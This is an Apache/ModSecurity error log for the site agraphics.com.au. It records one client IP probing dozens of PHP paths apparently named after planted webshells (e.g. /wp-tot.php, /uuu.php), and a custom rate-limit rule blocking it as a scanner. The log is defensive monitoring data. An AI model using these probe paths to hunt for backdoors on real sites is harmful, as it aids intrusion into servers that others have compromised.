[Sat Apr 18 23:22:44.497886 2026] [:error] [pid 9970:tid 9986] [client 20.203.141.81:54840] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/krntz.php"] [unique_id "aeOhxCYdRLRhVmaIMx3voAAAAMw"]
[Sat Apr 18 23:22:45.340198 2026] [:error] [pid 9970:tid 9991] [client 20.203.141.81:51749] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/krntz.php"] [unique_id "aeOhxSYdRLRhVmaIMx3vpQAAANE"]
[Sat Apr 18 23:22:46.040465 2026] [:error] [pid 9970:tid 9980] [client 20.203.141.81:7912] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/krntz.php"] [unique_id "aeOhxiYdRLRhVmaIMx3vqQAAAMY"]
[Sat Apr 18 23:22:47.231682 2026] [:error] [pid 32677:tid 32684] [client 20.203.141.81:54815] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vhwwnrnmqc.php"] [unique_id "aeOhxxngmUE3LdC-wP72GQAAAkQ"]
[Sat Apr 18 23:22:48.119038 2026] [:error] [pid 9970:tid 9990] [client 20.203.141.81:32809] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vhwwnrnmqc.php"] [unique_id "aeOhyCYdRLRhVmaIMx3vrwAAANA"]
[Sat Apr 18 23:22:49.181538 2026] [:error] [pid 9970:tid 9998] [client 20.203.141.81:32794] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vhwwnrnmqc.php"] [unique_id "aeOhySYdRLRhVmaIMx3vsQAAANg"]
[Sat Apr 18 23:22:50.007354 2026] [:error] [pid 9970:tid 9980] [client 20.203.141.81:37894] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vhwwnrnmqc.php"] [unique_id "aeOhyiYdRLRhVmaIMx3vtAAAAMY"]
[Sat Apr 18 23:22:50.792159 2026] [:error] [pid 9863:tid 9879] [client 20.203.141.81:41210] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xenium4.php"] [unique_id "aeOhyjjjiypiFrTucbLcNAAAAAY"]
[Sat Apr 18 23:22:51.934098 2026] [:error] [pid 9970:tid 9997] [client 20.203.141.81:32791] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xenium4.php"] [unique_id "aeOhyyYdRLRhVmaIMx3vuAAAANc"]
[Sat Apr 18 23:22:52.783097 2026] [:error] [pid 13023:tid 13037] [client 20.203.141.81:37926] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xenium4.php"] [unique_id "aeOhzP1e7hG8DAeABB9MuQAAAQw"]
[Sat Apr 18 23:22:53.458072 2026] [:error] [pid 32647:tid 32672] [client 20.203.141.81:41171] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xenium4.php"] [unique_id "aeOhzUkxooM0iRo6e541pAAAAhY"]
[Sat Apr 18 23:22:54.024272 2026] [:error] [pid 13023:tid 13040] [client 20.203.141.81:64233] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vaza.php"] [unique_id "aeOhzv1e7hG8DAeABB9MugAAAQ8"]
[Sat Apr 18 23:22:55.142294 2026] [:error] [pid 32647:tid 32656] [client 20.203.141.81:54830] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vaza.php"] [unique_id "aeOhz0kxooM0iRo6e541pgAAAgY"]
[Sat Apr 18 23:22:56.313605 2026] [proxy_fcgi:error] [pid 9970:tid 9983] [client 20.203.141.81:7317] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:22:56.553195 2026] [proxy_fcgi:error] [pid 9970:tid 9994] [client 20.203.141.81:7317] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:22:56.792419 2026] [proxy_fcgi:error] [pid 9970:tid 9992] [client 20.203.141.81:7317] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:22:57.031797 2026] [proxy_fcgi:error] [pid 9970:tid 9984] [client 20.203.141.81:7317] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:22:57.303081 2026] [proxy_fcgi:error] [pid 9970:tid 9982] [client 20.203.141.81:7317] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:22:57.645523 2026] [proxy_fcgi:error] [pid 9970:tid 9980] [client 20.203.141.81:7317] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:22:57.884935 2026] [proxy_fcgi:error] [pid 9970:tid 9997] [client 20.203.141.81:7317] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:22:58.152829 2026] [proxy_fcgi:error] [pid 9970:tid 9998] [client 20.203.141.81:7317] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:22:58.391415 2026] [proxy_fcgi:error] [pid 9970:tid 9991] [client 20.203.141.81:7317] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:22:58.632960 2026] [proxy_fcgi:error] [pid 9970:tid 9977] [client 20.203.141.81:7317] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:22:58.914066 2026] [proxy_fcgi:error] [pid 9970:tid 9983] [client 20.203.141.81:7317] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:22:59.218902 2026] [:error] [pid 9970:tid 9979] [client 20.203.141.81:7317] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tot.php"] [unique_id "aeOh0yYdRLRhVmaIMx3v0QAAAMU"]
[Sat Apr 18 23:22:59.836816 2026] [:error] [pid 32677:tid 32683] [client 20.203.141.81:30981] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tot.php"] [unique_id "aeOh0xngmUE3LdC-wP72IAAAAkM"]
[Sat Apr 18 23:23:07.646648 2026] [:error] [pid 9970:tid 9996] [client 20.203.141.81:32222] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tot.php"] [unique_id "aeOh2yYdRLRhVmaIMx3v1QAAANY"]
[Sat Apr 18 23:23:08.338030 2026] [:error] [pid 9970:tid 9984] [client 20.203.141.81:7872] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tot.php"] [unique_id "aeOh3CYdRLRhVmaIMx3v2QAAAMo"]
[Sat Apr 18 23:23:09.016298 2026] [:error] [pid 32677:tid 32686] [client 20.203.141.81:64244] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tap.php"] [unique_id "aeOh3RngmUE3LdC-wP72KQAAAkY"]
[Sat Apr 18 23:23:09.739919 2026] [:error] [pid 32647:tid 32651] [client 20.203.141.81:37943] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tap.php"] [unique_id "aeOh3UkxooM0iRo6e541sQAAAgE"]
[Sat Apr 18 23:23:10.474609 2026] [:error] [pid 32677:tid 32693] [client 20.203.141.81:54786] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tap.php"] [unique_id "aeOh3hngmUE3LdC-wP72LgAAAk0"]
[Sat Apr 18 23:23:11.290340 2026] [:error] [pid 13023:tid 13047] [client 20.203.141.81:41185] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tap.php"] [unique_id "aeOh3_1e7hG8DAeABB9MvwAAARY"]
[Sat Apr 18 23:23:12.219799 2026] [:error] [pid 32677:tid 32682] [client 20.203.141.81:61805] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vrhiw.php"] [unique_id "aeOh4BngmUE3LdC-wP72LwAAAkI"]
[Sat Apr 18 23:23:13.443990 2026] [:error] [pid 9864:tid 9920] [client 20.203.141.81:7922] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vrhiw.php"] [unique_id "aeOh4YCFeowknfXHM7k3vgAAAE4"]
[Sat Apr 18 23:23:14.503895 2026] [:error] [pid 32678:tid 32710] [client 20.203.141.81:37919] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vrhiw.php"] [unique_id "aeOh4hUlAXU_ZWUu5y8ZJgAAAoM"]
[Sat Apr 18 23:23:15.245057 2026] [:error] [pid 9970:tid 9995] [client 20.203.141.81:61818] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vrhiw.php"] [unique_id "aeOh4yYdRLRhVmaIMx3v6AAAANU"]
[Sat Apr 18 23:23:16.021335 2026] [:error] [pid 9970:tid 9983] [client 20.203.141.81:58499] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qqjki.php"] [unique_id "aeOh5CYdRLRhVmaIMx3v6gAAAMk"]
[Sat Apr 18 23:23:16.779478 2026] [:error] [pid 32647:tid 32651] [client 20.203.141.81:37926] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qqjki.php"] [unique_id "aeOh5EkxooM0iRo6e541uwAAAgE"]
[Sat Apr 18 23:23:17.861775 2026] [:error] [pid 32677:tid 32686] [client 20.203.141.81:41175] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qqjki.php"] [unique_id "aeOh5RngmUE3LdC-wP72MgAAAkY"]
[Sat Apr 18 23:23:18.412014 2026] [:error] [pid 32647:tid 32662] [client 20.203.141.81:61765] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qqjki.php"] [unique_id "aeOh5kkxooM0iRo6e541vAAAAgw"]
[Sat Apr 18 23:23:19.066304 2026] [:error] [pid 32678:tid 32722] [client 20.203.141.81:61786] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/koiy.php"] [unique_id "aeOh5xUlAXU_ZWUu5y8ZLQAAAo8"]
[Sat Apr 18 23:23:19.866091 2026] [:error] [pid 13023:tid 13045] [client 20.203.141.81:63680] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/koiy.php"] [unique_id "aeOh5_1e7hG8DAeABB9MwwAAARQ"]
[Sat Apr 18 23:23:21.648677 2026] [:error] [pid 32677:tid 32693] [client 20.203.141.81:63727] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/koiy.php"] [unique_id "aeOh6RngmUE3LdC-wP72NgAAAk0"]
[Sat Apr 18 23:23:22.616046 2026] [:error] [pid 32677:tid 32690] [client 20.203.141.81:63708] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/koiy.php"] [unique_id "aeOh6hngmUE3LdC-wP72PQAAAko"]
[Sat Apr 18 23:23:23.201398 2026] [:error] [pid 13023:tid 13026] [client 20.203.141.81:58552] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/baixy.php"] [unique_id "aeOh6_1e7hG8DAeABB9MywAAAQE"]
[Sat Apr 18 23:23:23.927488 2026] [:error] [pid 13023:tid 13042] [client 20.203.141.81:61766] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/baixy.php"] [unique_id "aeOh6_1e7hG8DAeABB9MzQAAARE"]
[Sat Apr 18 23:23:24.563446 2026] [:error] [pid 32677:tid 32692] [client 20.203.141.81:64196] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/baixy.php"] [unique_id "aeOh7BngmUE3LdC-wP72QAAAAkw"]
[Sat Apr 18 23:23:25.243679 2026] [:error] [pid 32678:tid 32708] [client 20.203.141.81:7932] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/baixy.php"] [unique_id "aeOh7RUlAXU_ZWUu5y8ZNgAAAoE"]
[Sat Apr 18 23:23:26.207975 2026] [:error] [pid 9970:tid 9979] [client 20.203.141.81:32800] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "aeOh7iYdRLRhVmaIMx3v9wAAAMU"]
[Sat Apr 18 23:23:27.054136 2026] [:error] [pid 9865:tid 9957] [client 20.203.141.81:31027] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "aeOh76zb5knECIY-C-isMQAAAJQ"]
[Sat Apr 18 23:23:27.929873 2026] [:error] [pid 9970:tid 9995] [client 20.203.141.81:58521] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "aeOh7yYdRLRhVmaIMx3v-gAAANU"]
[Sat Apr 18 23:23:28.967630 2026] [:error] [pid 9970:tid 9976] [client 20.203.141.81:58506] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "aeOh8CYdRLRhVmaIMx3v_QAAAMI"]
[Sat Apr 18 23:23:29.998228 2026] [:error] [pid 13023:tid 13047] [client 20.203.141.81:63686] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "aeOh8f1e7hG8DAeABB9M1gAAARY"]
[Sat Apr 18 23:23:30.611596 2026] [:error] [pid 13023:tid 13030] [client 20.203.141.81:56997] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "aeOh8v1e7hG8DAeABB9M1wAAAQU"]
[Sat Apr 18 23:23:31.243549 2026] [:error] [pid 32678:tid 32727] [client 20.203.141.81:40489] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "aeOh8xUlAXU_ZWUu5y8ZOgAAApQ"]
[Sat Apr 18 23:23:32.193727 2026] [:error] [pid 32678:tid 32714] [client 20.203.141.81:37941] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "aeOh9BUlAXU_ZWUu5y8ZPgAAAoc"]
[Sat Apr 18 23:23:32.968908 2026] [:error] [pid 13023:tid 13026] [client 20.203.141.81:56983] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "aeOh9P1e7hG8DAeABB9M2wAAAQE"]
[Sat Apr 18 23:23:33.826231 2026] [:error] [pid 34288:tid 34296] [client 20.203.141.81:56968] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "aeOh9eTIiy__PtiLmpngpwAAAYQ"]
[Sat Apr 18 23:23:34.665332 2026] [:error] [pid 32647:tid 32668] [client 20.203.141.81:64199] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "aeOh9kkxooM0iRo6e541vwAAAhI"]
[Sat Apr 18 23:23:35.451326 2026] [:error] [pid 34288:tid 34294] [client 20.203.141.81:31016] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "aeOh9-TIiy__PtiLmpngqQAAAYI"]
[Sat Apr 18 23:23:36.305656 2026] [:error] [pid 13023:tid 13028] [client 20.203.141.81:7927] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buc.php"] [unique_id "aeOh-P1e7hG8DAeABB9M3wAAAQM"]
[Sat Apr 18 23:23:37.722062 2026] [:error] [pid 13023:tid 13047] [client 20.203.141.81:7921] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buc.php"] [unique_id "aeOh-f1e7hG8DAeABB9M4gAAARY"]
[Sat Apr 18 23:23:38.516077 2026] [:error] [pid 32677:tid 32681] [client 20.203.141.81:8146] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buc.php"] [unique_id "aeOh-hngmUE3LdC-wP72SQAAAkE"]
[Sat Apr 18 23:23:39.105934 2026] [:error] [pid 32678:tid 32725] [client 20.203.141.81:31001] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buc.php"] [unique_id "aeOh-xUlAXU_ZWUu5y8ZRgAAApI"]
